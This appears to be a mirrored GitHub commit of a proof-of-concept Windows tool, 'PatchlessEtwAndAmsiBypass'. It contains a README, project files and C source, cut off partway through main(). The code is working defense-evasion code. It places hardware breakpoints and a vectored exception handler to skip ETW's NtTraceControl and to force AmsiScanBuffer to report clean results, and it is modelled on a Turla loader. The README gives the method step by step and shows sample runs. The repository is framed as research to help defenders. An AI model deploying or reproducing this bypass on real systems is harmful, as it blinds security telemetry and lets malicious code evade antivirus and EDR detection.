mirror of
https://github.com/TheEnergyStory/PatchlessEtwAndAmsiBypass
synced 2026-06-21 13:46:01 +00:00
Initial commit
This commit is contained in:
Binary file not shown.
@@ -0,0 +1,11 @@
|
||||
Copyright (c) 2025, Dominik Reichel
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
|
||||
3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
@@ -0,0 +1,109 @@
|
||||
# PatchlessEtwAndAmsiBypass
|
||||
|
||||
Derived from evasion techniques observed in the **Turla Kazuar v3 loader**, this Proof of Concept (POC) leverages hardware breakpoints to transparently intercept and redirect the execution of `AmsiScanBuffer` and `NtTraceControl`. By targeting these specific functions, the implementation achieves a patchless bypass that tries to circumvent modern EDR detections and memory integrity checks designed to flag unauthorized modifications to critical system modules.
|
||||
|
||||
This approach is more stealthy than traditional "noisy" methods, which typically rely on overwriting function instructions with a ret opcode (`0xC3`). Instead of altering the code on disk or in memory, this method maintains the original byte signatures of the targeted DLLs, making it more difficult to detect for scanners that look for modified code stubs or "hooks" in common security modules.
|
||||
|
||||
To achieve non-invasive execution, the bypass utilizes Vectored Exception Handling in conjunction with CPU debug registers. When the processor attempts to execute the targeted security functions, it triggers a controlled hardware exception. This allows the handler to hijack the instruction pointer and skip the scanning logic entirely, effectively blinding security telemetry while appearing untouched to memory forensic tools.
|
||||
|
||||
# Details
|
||||
|
||||
The technique works as follows:
|
||||
|
||||
1. **Register a Vectored Exception Handler:** The exception handler contains the logic to spoof the results of the security checks once a breakpoint is hit.
|
||||
2. **Locate Target Functions:** Resolve the memory addresses of `NtTraceControl` (ETW) and `AmsiScanBuffer` (AMSI). These functions are central for suppressing defensive telemetry and prevent script-based detections.
|
||||
3. **Capture Thread State:** Call GetThreadContext to take a "snapshot" of the current thread’s CPU state which allows to modify the hardware debug registers (`Dr0`–`Dr7`) without interrupting the CPU immediately.
|
||||
4. **Set Hardware Breakpoints:** Modify the `CONTEXT` snapshot in memory to load `Dr0` and `Dr1` with the addresses of the target functions found in Step 2 and activate them by flipping `Dr7`.
|
||||
5. **Commit the State:** Call `NtContinue` to tell the CPU to immediately adopt the modified CONTEXT snapshot. The hardware breakpoint hooks are now "live" and the CPU is watching for those specific memory addresses.
|
||||
6. **Intercepting and Tailored Spoofing:** When the CPU attempts to execute either `NtTraceControl` or `AmsiScanBuffer`, a "single step" exception is triggered that pauses the thread and hands control to the exception handler. The handler then identifies which function was hit and applies a specific logic for each:
|
||||
- ***For ETW:*** The goal is to disable logging. The handler simply identifies the call and prepares to jump over it, effectively "blinding" the event tracing system without returning an error.
|
||||
- ***For AMSI:*** The goal is to bypass a scan. The handler reaches into the stack to find the `AMSI_RESULT` pointer and manually overwrites it with `AMSI_RESULT_CLEAN`. It also sets the `RAX` register to `S_OK` to tell the application the scan completed perfectly.
|
||||
- ***The Final Jump:*** In both cases, the handler finishes by adjusting the Instruction Pointer (`RIP`) to the return address of the caller. This "jumps" execution past the security logic, making it appear to the system as if the functions ran and verified everything was safe.
|
||||
|
||||
Rather than modifying code on disk or patching bytes in memory, this implementation performs a context switch to trick the processor into monitoring its own execution. The most critical aspect of this code is that it ensures the bypass is active immediately. While standard functions like `SetThreadContext` might not take effect instantly or reliably, this implementation uses the native API function `NtContinue`. This function takes the modified `CONTEXT` structure and tells the CPU to immediately discard its current state and adopt the new one. The moment `NtContinue` is called, the CPU's hardware registers are updated to intercept the target functions the moment they are called. When the CPU hits a target address, it triggers a hardware exception caught by a custom handler, which spoofs a "clean" result and skips the security function entirely.
|
||||
|
||||
# Usage
|
||||
|
||||
The POC has two distinct options, `-etw` and `-amsi`, allowing you to selectively trigger the evasion logic for each respective security mechanism.
|
||||
|
||||
Running the POC without any option results in no intercepted ETW events and the detection of the EICAR test string:
|
||||
```
|
||||
PatchlessEtwAndAmsiBypass.exe
|
||||
[*] No bypass selected. Running simulation in standard mode.
|
||||
[*] Simulate ETW and AMSI activity by calling AmsiScanBuffer
|
||||
[+] AMSI result: 0x00008000 (AMSI_RESULT_DETECTED)
|
||||
```
|
||||
|
||||
By invoking the `-etw` flag, the `NtTraceControl` function calls are successfully intercepted and silently skipped, preventing the system from registering security-related event traces:
|
||||
|
||||
```
|
||||
PatchlessEtwAndAmsiBypass.exe -etw
|
||||
[*] Register vectored exception handler
|
||||
[+] Exception handler address: 0000016B93A70CC0
|
||||
[*] Get thread context data
|
||||
[+] Dr0: 0000000000000000, Dr1: 0000000000000000, Dr7: 0000000000000000
|
||||
[*] Get address of NtTraceControl
|
||||
[+] NtTraceControl address: 00007FFA459F0930
|
||||
[*] Set hardware breakpoint on NtTraceControl
|
||||
[+] Dr0: 00007FFA459F0930
|
||||
[*] Get address of NtContinue
|
||||
[+] NtContinue address: 00007FFA459ED900
|
||||
[*] Activate hardware breakpoints by setting Dr7
|
||||
[+] Dr7: 0000000000000001
|
||||
[*] Continue execution with NtContinue
|
||||
[*] Simulate ETW and AMSI activity by calling AmsiScanBuffer
|
||||
[+] Intercepted NtTraceControl
|
||||
[*] Original RSP: 000000684F58E4D8
|
||||
[*] Original RIP: 00007FFA459F0930
|
||||
[*] Modified RSP: 000000684F58E4E0
|
||||
[*] Modified RIP: 00007FFA45992F86
|
||||
[+] Intercepted NtTraceControl
|
||||
[*] Original RSP: 000000684F58E518
|
||||
[*] Original RIP: 00007FFA459F0930
|
||||
[*] Modified RSP: 000000684F58E520
|
||||
[*] Modified RIP: 00007FFA45992F86
|
||||
[+] Intercepted NtTraceControl
|
||||
[*] Original RSP: 000000684F58E518
|
||||
[*] Original RIP: 00007FFA459F0930
|
||||
[*] Modified RSP: 000000684F58E520
|
||||
[*] Modified RIP: 00007FFA45992F86
|
||||
...
|
||||
```
|
||||
|
||||
Utilizing the `-amsi` flag shows the `AmsiScanBuffer` calls are intercepted and spoofed, allowing the EICAR test string to reside in memory without triggering a detection:
|
||||
|
||||
```
|
||||
PatchlessEtwAndAmsiBypass.exe -amsi
|
||||
[*] Register vectored exception handler
|
||||
[+] Exception handler address: 00000211B07784A0
|
||||
[*] Get thread context data
|
||||
[+] Dr0: 0000000000000000, Dr1: 0000000000000000, Dr7: 0000000000000000
|
||||
[*] Get address of AmsiScanBuffer
|
||||
[+] AmsiScanBuffer address: 00007FFA36633880
|
||||
[*] Set hardware breakpoint on AmsiScanBuffer
|
||||
[+] Dr1: 00007FFA36633880
|
||||
[*] Get address of NtContinue
|
||||
[+] NtContinue address: 00007FFA459ED900
|
||||
[*] Activate hardware breakpoints by setting Dr7
|
||||
[+] Dr7: 0000000000000004
|
||||
[*] Continue execution with NtContinue
|
||||
[*] Simulate ETW and AMSI activity by calling AmsiScanBuffer
|
||||
[+] Intercepted AmsiScanBuffer
|
||||
[*] Original AMSI_RESULT Value: 0xb0770001
|
||||
[*] Original RSP: 0000007CD18FF8D8
|
||||
[*] Original RIP: 00007FFA36633880
|
||||
[*] Original RAX: 0000007CD18FF910
|
||||
[*] Adjusted AMSI_RESULT Value: 0x0
|
||||
[*] Modified RSP: 0000007CD18FF8E0
|
||||
[*] Modified RIP: 00007FF7716516A2
|
||||
[*] Modified RAX: 0000000000000000
|
||||
[+] AMSI result: 0x00000000 (AMSI_RESULT_CLEAN)
|
||||
```
|
||||
|
||||
# Background
|
||||
|
||||
This POC is based on an in-depth analysis of the Turla Kazuar v3 loader, the details of which can be found here: [https://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/](https://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/)
|
||||
|
||||
# Disclaimer
|
||||
|
||||
*This project is for educational and authorized security research purposes only. The techniques demonstrated are intended to help defenders understand advanced evasion tactics and improve detection telemetry. Use against unauthorized systems is strictly prohibited.*
|
||||
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.36631.11
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PatchlessEtwAndAmsiBypass", "PatchlessEtwAndAmsiBypass\PatchlessEtwAndAmsiBypass.vcxproj", "{ADDA9E4E-1A83-4AAE-948F-7CBAC4050466}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{ADDA9E4E-1A83-4AAE-948F-7CBAC4050466}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{ADDA9E4E-1A83-4AAE-948F-7CBAC4050466}.Debug|x64.Build.0 = Debug|x64
|
||||
{ADDA9E4E-1A83-4AAE-948F-7CBAC4050466}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{ADDA9E4E-1A83-4AAE-948F-7CBAC4050466}.Debug|x86.Build.0 = Debug|Win32
|
||||
{ADDA9E4E-1A83-4AAE-948F-7CBAC4050466}.Release|x64.ActiveCfg = Release|x64
|
||||
{ADDA9E4E-1A83-4AAE-948F-7CBAC4050466}.Release|x64.Build.0 = Release|x64
|
||||
{ADDA9E4E-1A83-4AAE-948F-7CBAC4050466}.Release|x86.ActiveCfg = Release|Win32
|
||||
{ADDA9E4E-1A83-4AAE-948F-7CBAC4050466}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {38CF5354-A040-4D25-ADB6-5465FBAF3D90}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,151 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{adda9e4e-1a83-4aae-948f-7cbac4050466}</ProjectGuid>
|
||||
<RootNamespace>PatchlessEtwAndAmsiBypass</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="global.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,27 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="global.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
@@ -0,0 +1,28 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <amsi.h>
|
||||
|
||||
#pragma comment(lib, "amsi.lib")
|
||||
#pragma comment(lib, "dbghelp.lib")
|
||||
|
||||
// NT API Function Definitions
|
||||
typedef NTSTATUS(NTAPI* PFN_NtTraceControl)(
|
||||
ULONG uFunctionCode,
|
||||
PVOID pInBuffer,
|
||||
ULONG uInBufferLen,
|
||||
PVOID pOutBuffer,
|
||||
ULONG uOutBufferLen,
|
||||
ULONG* puReturnSize
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* PFN_NtContinue)(
|
||||
PCONTEXT pContextRecord,
|
||||
BOOLEAN bTestAlert
|
||||
);
|
||||
|
||||
// Global Pointers
|
||||
extern PVOID g_pNtTraceControl;
|
||||
extern PVOID g_pAmsiScanBuffer;
|
||||
|
||||
// Utility Function
|
||||
LPCSTR GetAmsiResultString(AMSI_RESULT eResult);
|
||||
@@ -0,0 +1,189 @@
|
||||
#include "global.h"
|
||||
|
||||
PVOID g_pNtTraceControl = NULL;
|
||||
PVOID g_pAmsiScanBuffer = NULL;
|
||||
|
||||
|
||||
ULONG Handler(PEXCEPTION_POINTERS exception_ptr) {
|
||||
if (exception_ptr->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP) {
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
PVOID ExceptionAddress = exception_ptr->ExceptionRecord->ExceptionAddress;
|
||||
PCONTEXT context = exception_ptr->ContextRecord;
|
||||
|
||||
// Handle NtTraceControl (ETW Bypass)
|
||||
if (ExceptionAddress == g_pNtTraceControl) {
|
||||
printf_s("\t[+] Intercepted NtTraceControl\n");
|
||||
|
||||
printf_s("\t\t[*] Original RSP: %p\n", (PVOID)exception_ptr->ContextRecord->Rsp);
|
||||
printf_s("\t\t[*] Original RIP: %p\n", (PVOID)exception_ptr->ContextRecord->Rip);
|
||||
|
||||
ULONG_PTR returnAddress = *(ULONG_PTR*)context->Rsp;
|
||||
context->Rip = returnAddress;
|
||||
context->Rsp += 8;
|
||||
|
||||
printf_s("\t\t[*] Modified RSP: %p\n", (PVOID)context->Rsp);
|
||||
printf_s("\t\t[*] Modified RIP: %p\n", (PVOID)context->Rip);
|
||||
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
|
||||
// Handle AmsiScanBuffer (AMSI Bypass)
|
||||
else if (ExceptionAddress == g_pAmsiScanBuffer) {
|
||||
printf_s("\t[+] Intercepted AmsiScanBuffer\n");
|
||||
|
||||
PULONG puAmsiResult = *(PULONG*)(context->Rsp + 48);
|
||||
|
||||
printf_s("\t\t[*] Original AMSI_RESULT Value: 0x%x\n", *puAmsiResult);
|
||||
printf_s("\t\t[*] Original RSP: %p\n", (PVOID)context->Rsp);
|
||||
printf_s("\t\t[*] Original RIP: %p\n", (PVOID)context->Rip);
|
||||
printf_s("\t\t[*] Original RAX: %p\n", (PVOID)context->Rax);
|
||||
|
||||
*puAmsiResult = AMSI_RESULT_CLEAN;
|
||||
ULONG_PTR returnAddress = *(ULONG_PTR*)context->Rsp;
|
||||
context->Rip = returnAddress;
|
||||
context->Rsp += 8;
|
||||
context->Rax = S_OK;
|
||||
|
||||
printf_s("\t\t[*] Adjusted AMSI_RESULT Value: 0x%x\n", *puAmsiResult);
|
||||
printf_s("\t\t[*] Modified RSP: %p\n", (PVOID)context->Rsp);
|
||||
printf_s("\t\t[*] Modified RIP: %p\n", (PVOID)context->Rip);
|
||||
printf_s("\t\t[*] Modified RAX: %p\n", (PVOID)context->Rax);
|
||||
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
LPCSTR GetAmsiResultString(AMSI_RESULT eResult) {
|
||||
if (eResult == AMSI_RESULT_CLEAN) {
|
||||
return "AMSI_RESULT_CLEAN";
|
||||
}
|
||||
if (eResult == AMSI_RESULT_NOT_DETECTED) {
|
||||
return "AMSI_RESULT_NOT_DETECTED";
|
||||
}
|
||||
if (eResult >= AMSI_RESULT_BLOCKED_BY_ADMIN_START && eResult <= AMSI_RESULT_BLOCKED_BY_ADMIN_END) {
|
||||
return "AMSI_RESULT_BLOCKED_BY_ADMIN";
|
||||
}
|
||||
if (eResult >= AMSI_RESULT_DETECTED) {
|
||||
return "AMSI_RESULT_DETECTED";
|
||||
}
|
||||
|
||||
return "UNKNOWN_RESULT_VALUE";
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
BOOL bEnableEtw = FALSE;
|
||||
BOOL bEnableAmsi = FALSE;
|
||||
BOOL bBypassRequested = FALSE;
|
||||
|
||||
for (int i = 1; i < argc; i++) {
|
||||
if (_stricmp(argv[i], "-etw") == 0) { bEnableEtw = TRUE; bBypassRequested = TRUE; }
|
||||
else if (_stricmp(argv[i], "-amsi") == 0) { bEnableAmsi = TRUE; bBypassRequested = TRUE; }
|
||||
}
|
||||
|
||||
HMODULE hNtDll = GetModuleHandleA("ntdll.dll");
|
||||
HMODULE hAmsiDll = NULL;
|
||||
|
||||
if (bBypassRequested) {
|
||||
printf_s("[*] Register vectored exception handler\n");
|
||||
PVOID pHandler = AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)Handler);
|
||||
if (pHandler == NULL) {
|
||||
printf_s("\t[-] Failed with error %lu\n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
printf_s("\t[+] Exception handler address: %p\n", pHandler);
|
||||
|
||||
printf_s("[*] Get thread context data\n");
|
||||
CONTEXT contextThread = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
|
||||
if (!GetThreadContext(GetCurrentThread(), &contextThread)) {
|
||||
printf_s("\t[-] Failed with error %lu\n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
printf_s("\t[+] Dr0: %p, Dr1: %p, Dr7: %p\n", (PVOID)contextThread.Dr0, (PVOID)contextThread.Dr1, (PVOID)contextThread.Dr7);
|
||||
|
||||
contextThread.Dr0 = 0;
|
||||
contextThread.Dr1 = 0;
|
||||
contextThread.Dr7 = 0;
|
||||
|
||||
if (bEnableEtw) {
|
||||
printf_s("[*] Get address of NtTraceControl\n");
|
||||
g_pNtTraceControl = GetProcAddress(hNtDll, "NtTraceControl");
|
||||
if (g_pNtTraceControl == NULL) {
|
||||
printf_s("\t[-] Failed to get address of NtTraceControl. Error: %lu\n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
printf_s("\t[+] NtTraceControl address: %p\n", g_pNtTraceControl);
|
||||
|
||||
printf_s("[*] Set hardware breakpoint on NtTraceControl\n");
|
||||
contextThread.Dr0 = (ULONG_PTR)g_pNtTraceControl;
|
||||
contextThread.Dr7 |= 0x1;
|
||||
printf_s("\t[+] Dr0: %p\n", (PVOID)contextThread.Dr0);
|
||||
}
|
||||
|
||||
if (bEnableAmsi) {
|
||||
printf_s("[*] Get address of AmsiScanBuffer\n");
|
||||
hAmsiDll = LoadLibraryA("amsi.dll");
|
||||
if (hAmsiDll == NULL) {
|
||||
printf_s("\t[-] Failed to load amsi.dll. Error: %lu\n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
g_pAmsiScanBuffer = GetProcAddress(hAmsiDll, "AmsiScanBuffer");
|
||||
if (g_pAmsiScanBuffer == NULL) {
|
||||
printf_s("\t[-] Failed to get address of AmsiScanBuffer. Error: %lu\n", GetLastError());
|
||||
if (hAmsiDll) FreeLibrary(hAmsiDll);
|
||||
return 1;
|
||||
}
|
||||
printf_s("\t[+] AmsiScanBuffer address: %p\n", g_pAmsiScanBuffer);
|
||||
|
||||
printf_s("[*] Set hardware breakpoint on AmsiScanBuffer\n");
|
||||
contextThread.Dr1 = (ULONG_PTR)g_pAmsiScanBuffer;
|
||||
contextThread.Dr7 |= 0x4;
|
||||
printf_s("\t[+] Dr1: %p\n", (PVOID)contextThread.Dr1);
|
||||
}
|
||||
|
||||
printf_s("[*] Get address of NtContinue\n");
|
||||
PFN_NtContinue pfnNtContinue = (PFN_NtContinue)GetProcAddress(hNtDll, "NtContinue");
|
||||
if (pfnNtContinue == NULL) {
|
||||
